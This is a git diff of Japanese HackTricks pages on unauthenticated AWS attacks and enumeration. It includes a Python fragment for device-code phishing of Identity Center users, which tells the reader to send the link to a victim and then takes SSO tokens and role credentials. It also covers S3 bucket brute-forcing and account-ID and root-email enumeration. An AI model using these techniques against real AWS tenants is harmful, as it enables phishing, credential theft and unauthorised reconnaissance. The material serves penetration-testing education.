攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**や**推測 + ブルートフォース**を通じて行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。
|
||||
|
||||
この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です:
|
||||
```bash
|
||||
@@ -52,9 +52,9 @@ url = authz.get('verificationUriComplete')
|
||||
deviceCode = authz.get('deviceCode')
|
||||
print("Give this URL to the victim: " + url)
|
||||
```
|
||||
生成したリンクを被害者にあなたの素晴らしいソーシャルエンジニアリングスキルを使って送信してください!
|
||||
被害者に生成されたリンクを送信し、あなたの素晴らしいソーシャルエンジニアリングスキルを使いましょう!
|
||||
|
||||
3. **被害者がそれを受け入れるのを待つ**
|
||||
3. **被害者がそれを受け入れるのを待ちます**
|
||||
|
||||
被害者が**すでにAWSにログインしている**場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、**ログインしてから権限を付与することを受け入れる必要があります**。\
|
||||
これが現在のプロンプトの見た目です:
|
||||
@@ -75,7 +75,7 @@ sso_token = token_response.get('accessToken')
|
||||
```
|
||||
SSOアクセストークンは**8時間有効**です。
|
||||
|
||||
5. **ユーザーを偽装する**
|
||||
5. **ユーザーをなりすます**
|
||||
```python
|
||||
sso_client = boto3.client('sso', region_name=REGION)
|
||||
|
||||
@@ -102,9 +102,9 @@ accountId=<account_id>
|
||||
)
|
||||
sts_creds.get('roleCredentials')
|
||||
```
|
||||
### フィッシング不可能なMFA
|
||||
### フィッシングできないMFAのフィッシング
|
||||
|
||||
以前の攻撃が**「フィッシング不可能なMFA」(webAuth)が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がない場合、デバイスコードワークフローが準備されているため、**デバイスによってコードが知られている**と、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。
|
||||
以前の攻撃が**「フィッシングできないMFA」(webAuth)が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がある場合、デバイスコードワークフローは**デバイスによって知られているコード**が準備されているため、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。
|
||||
|
||||
詳細については、[**この投稿を確認してください**](https://mjg59.dreamwidth.org/62175.html)。
|
||||
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# AWS - Lambda Unauthenticated Access
|
||||
# AWS - Lambda 認証なしアクセス
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## パブリック関数URL
|
||||
## 公開関数URL
|
||||
|
||||
**Lambda**を誰でもアクセスできる**パブリック関数URL**に関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。
|
||||
誰でもアクセスできる**Lambda**と**公開関数URL**を関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。
|
||||
|
||||
### パブリックURLテンプレート
|
||||
### 公開URLテンプレート
|
||||
```
|
||||
https://{random_id}.lambda-url.{region}.on.aws/
|
||||
```
|
||||
### 公開Lambda URLからアカウントIDを取得する
|
||||
|
||||
S3バケット、データ交換、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一文字ずつアカウントIDを見つけることによって行われます。\
|
||||
S3バケット、Data Exchange、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\
|
||||
この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます(いくつかのデフォルトの興味深いものがあります)。
|
||||
|
||||
詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
|
||||
詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - MQ Unauthenticated Enum
|
||||
# AWS - MQ 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## パブリックポート
|
||||
## 公開ポート
|
||||
|
||||
### **RabbitMQ**
|
||||
|
||||
**RabbitMQ**の場合、**デフォルトでパブリックアクセス**とsslが有効になっています。しかし、アクセスするには**認証情報**が必要です(`amqps://.mq.us-east-1.amazonaws.com:5671`)。さらに、`https://b-<uuid>.mq.us-east-1.amazonaws.com/`で認証情報を知っていれば**ウェブ管理コンソールにアクセス**することが可能です。
|
||||
**RabbitMQ** の場合、**デフォルトで公開アクセス** と ssl が有効です。しかし、アクセスするには **資格情報** が必要です (`amqps://.mq.us-east-1.amazonaws.com:5671`)。さらに、`https://b-<uuid>.mq.us-east-1.amazonaws.com/` で資格情報を知っていれば **ウェブ管理コンソールにアクセス** することが可能です。
|
||||
|
||||
### ActiveMQ
|
||||
|
||||
**ActiveMQ**の場合、デフォルトでパブリックアクセスとsslが有効になっていますが、アクセスするには認証情報が必要です。
|
||||
**ActiveMQ** の場合、デフォルトで公開アクセスと ssl が有効ですが、アクセスするには資格情報が必要です。
|
||||
|
||||
### パブリックURLテンプレート
|
||||
### 公開URLテンプレート
|
||||
```
|
||||
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
|
||||
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# AWS - MSK Unauthenticated Enum
|
||||
# AWS - MSK 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### パブリックポート
|
||||
### 公開ポート
|
||||
|
||||
**Kafkaブローカーをパブリックに公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です(設定された認証方法に応じて)。
|
||||
**Kafkaブローカーを公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です(設定された認証方法によります)。
|
||||
|
||||
**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。**
|
||||
また、**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。**
|
||||
|
||||
### パブリックURLテンプレート
|
||||
### 公開URLテンプレート
|
||||
```
|
||||
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
|
||||
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
## 公開ポート
|
||||
|
||||
**インターネットからデータベースへの公開アクセスを提供することが可能です**。攻撃者は依然として**ユーザー名とパスワード、** IAM アクセス、または**エクスプロイト**を知っている必要があります。
|
||||
**インターネットからデータベースへの公開アクセス**を提供することが可能です。攻撃者は依然として**ユーザー名とパスワード、**IAMアクセス、または**エクスプロイト**を知っている必要があります。
|
||||
|
||||
## 公開 RDS スナップショット
|
||||
## 公開RDSスナップショット
|
||||
|
||||
AWS は**誰でも RDS スナップショットをダウンロードするアクセスを提供することを許可しています**。自分のアカウントからこれらの公開 RDS スナップショットを非常に簡単にリストできます:
|
||||
AWSは**誰でもRDSスナップショットをダウンロードするアクセスを提供する**ことを許可しています。自分のアカウントからこれらの公開RDSスナップショットを非常に簡単にリストできます:
|
||||
```bash
|
||||
# Public RDS snapshots
|
||||
aws rds describe-db-snapshots --include-public
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## S3 パブリックバケット
|
||||
|
||||
バケットは、**「パブリック」**と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**「プライベート」**と見なされる場合は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。
|
||||
バケットは、**“パブリック”** と見なされる場合、**任意のユーザーがバケットの内容をリストできる**場合であり、**“プライベート”** は、バケットの内容が**特定のユーザーによってのみリストまたは書き込まれる**場合です。
|
||||
|
||||
企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントで認証されたすべてのユーザーにアクセスを許可している場合があります(つまり、誰にでも)。このような誤設定があっても、バケットには独自のアクセス制御リスト(ACL)があるため、特定のアクションが実行できない場合があります。
|
||||
企業は、**バケットの権限が誤って設定されている**可能性があり、すべてまたはAWSの任意のアカウントに認証されたすべてのユーザーにアクセスを提供することがあります(つまり、誰にでも)。このような誤設定があっても、バケットには独自のアクセス制御リスト(ACL)があるため、いくつかのアクションを実行できない場合があります。
|
||||
|
||||
**AWS-S3の誤設定についてはこちらを学んでください:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
**AWS-S3の誤設定についてはこちらで学ぶ:** [**http://flaws.cloud**](http://flaws.cloud/) **および** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
|
||||
### AWS バケットの発見
|
||||
|
||||
@@ -17,16 +17,16 @@
|
||||
#### 列挙 & OSINT:
|
||||
|
||||
- **wappalyzer** ブラウザプラグインを使用
|
||||
- burpを使用して(ウェブを**スパイダー**する)または手動でページをナビゲートすることで、すべての**リソース**が**履歴**に保存されます。
|
||||
- 次のドメインで**リソースを確認**:
|
||||
- burpを使用して(ウェブを**スパイダー**する)または手動でページをナビゲートすることで、すべての**リソース**が履歴に保存されます。
|
||||
- ドメインでの**リソースを確認**:
|
||||
|
||||
```
|
||||
http://s3.amazonaws.com/[bucket_name]/
|
||||
http://[bucket_name].s3.amazonaws.com/
|
||||
```
|
||||
|
||||
- **CNAMES**を確認します。`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持っている可能性があります。
|
||||
- すでに**発見されたオープンバケット**を持つウェブサイト[https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)を確認します。
|
||||
- **CNAMES**を確認、`resources.domain.com`は`bucket.s3.amazonaws.com`のCNAMEを持つ可能性があります
|
||||
- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)、すでに**発見されたオープンバケット**を持つウェブサイトを確認。
|
||||
- **バケット名**と**バケットドメイン名**は**同じである必要があります。**
|
||||
- **flaws.cloud**は**IP** 52.92.181.107にあり、そこに行くと[https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)にリダイレクトされます。また、`dig -x 52.92.181.107`は`s3-website-us-west-2.amazonaws.com`を返します。
|
||||
- バケットであることを確認するには、[https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)を**訪問**することもできます。
|
||||
@@ -59,7 +59,7 @@ cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
|
||||
# 攻撃するためのドメインとサブドメインのリストに基づいてパーミュテーションを作成
|
||||
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
|
||||
## 前のツールはサブドメインのパーミュテーションを作成することに特化しているので、そのリストをフィルタリングします
|
||||
<strong>### ".で終わる行を削除
|
||||
<strong>### "."で終わる行を削除
|
||||
</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
|
||||
### TLDなしのリストを作成
|
||||
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
|
||||
@@ -77,11 +77,11 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck
|
||||
|
||||
#### S3 バケットの略奪
|
||||
|
||||
S3のオープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。
|
||||
オープンバケットがある場合、[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)は自動的に**興味深い情報を検索**できます。
|
||||
|
||||
### リージョンを見つける
|
||||
|
||||
AWSがサポートしているすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。
|
||||
AWSがサポートするすべてのリージョンは、[**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)で確認できます。
|
||||
|
||||
#### DNSによる
|
||||
|
||||
@@ -95,13 +95,13 @@ nslookup 52.218.192.11
|
||||
Non-authoritative answer:
|
||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
||||
```
|
||||
ドメインが「website」という単語を含んでいることを確認してください。\
|
||||
解決されたドメインに「website」という単語が含まれていることを確認してください。\
|
||||
静的ウェブサイトには次のURLでアクセスできます: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
|
||||
または、バケットには次のURLでアクセスできます: `flaws.cloud.s3-us-west-2.amazonaws.com`
|
||||
|
||||
#### 試してみる
|
||||
|
||||
バケットにアクセスしようとしたが、**指定したドメイン名が別のリージョン**である場合(例えば、バケットが`bucket.s3.amazonaws.com`にあるが、`bucket.s3-website-us-west-2.amazonaws.com`にアクセスしようとした場合)、**正しい場所に誘導されます**:
|
||||
バケットにアクセスしようとした場合、**指定したドメイン名に別のリージョンが含まれている**(例えば、バケットが `bucket.s3.amazonaws.com` にあるのに、`bucket.s3-website-us-west-2.amazonaws.com` にアクセスしようとすると、**正しい場所に誘導されます**:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -131,9 +131,9 @@ aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --r
|
||||
```
|
||||
https://{user_provided}.s3.amazonaws.com
|
||||
```
|
||||
### Get Account ID from public Bucket
|
||||
### 公開バケットからアカウントIDを取得する
|
||||
|
||||
AWSアカウントを特定することは、新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します(他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します)。\
|
||||
新しい **`S3:ResourceAccount`** **ポリシー条件キー**を利用することで、AWSアカウントを特定することが可能です。この条件は、アカウントが存在するS3バケットに基づいてアクセスを**制限**します(他のアカウントベースのポリシーは、リクエスト元のプリンシパルが存在するアカウントに基づいて制限します)。\
|
||||
ポリシーには**ワイルドカード**を含めることができるため、アカウント番号を**1つずつ**見つけることが可能です。
|
||||
|
||||
このツールはそのプロセスを自動化します:
|
||||
@@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
|
||||
# With an object
|
||||
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
|
||||
```
|
||||
この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します(タグキーがわかっている場合)。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
|
||||
この技術は、API Gateway URLs、Lambda URLs、Data Exchange データセット、さらにはタグの値を取得するためにも機能します(タグキーがわかっている場合)。詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、これを自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
|
||||
|
||||
### バケットがAWSアカウントに属していることを確認する
|
||||
### バケットが AWS アカウントに属していることを確認する
|
||||
|
||||
[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属するアカウントIDを確認することが可能です。
|
||||
[**このブログ投稿**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、**バケットをリストする権限がある場合**、次のようなリクエストを送信することで、バケットが属する accountID を確認することが可能です。
|
||||
```bash
|
||||
curl -X GET "[bucketname].amazonaws.com/" \
|
||||
-H "x-amz-expected-bucket-owner: [correct-account-id]"
|
||||
@@ -158,15 +158,9 @@ curl -X GET "[bucketname].amazonaws.com/" \
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
|
||||
```
|
||||
If the error is an “Access Denied” it means that the account ID was wrong.
|
||||
エラーが「Access Denied」の場合、アカウントIDが間違っていることを意味します。
|
||||
|
||||
### Used Emails as root account enumeration
|
||||
|
||||
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
|
||||
|
||||
エラーが「アクセス拒否」の場合、それはアカウントIDが間違っていることを意味します。
|
||||
|
||||
### ルートアカウント列挙としての使用メール
|
||||
### ルートアカウント列挙としての使用されたメール
|
||||
|
||||
[**このブログ記事**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)で説明されているように、ACLを介してS3バケットに対してメールに権限を付与しようとすることで、メールアドレスがAWSアカウントに関連しているかどうかを確認することが可能です。これがエラーを引き起こさない場合、そのメールはAWSアカウントのルートユーザーであることを意味します。
|
||||
```python
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# AWS - SNS 未認証列挙
|
||||
# AWS - SNS 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
SNSに関する詳細情報は以下を確認してください:
|
||||
SNSに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 誰でもアクセス可能
|
||||
### 誰でも利用可能
|
||||
|
||||
ウェブコンソールからSNSトピックを設定する際に、**誰でも公開および購読できる**ことを示すことが可能です:
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - SQS 無認証列挙
|
||||
# AWS - SQS 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
SQSに関する詳細情報は、以下を確認してください:
|
||||
SQSに関する詳細情報は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
@@ -14,8 +14,8 @@ SQSに関する詳細情報は、以下を確認してください:
|
||||
```
|
||||
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
|
||||
```
|
||||
### 権限の確認
|
||||
### パーミッションの確認
|
||||
|
||||
SQSキューポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信権限を付与することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。
|
||||
SQSキューのポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信を許可することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user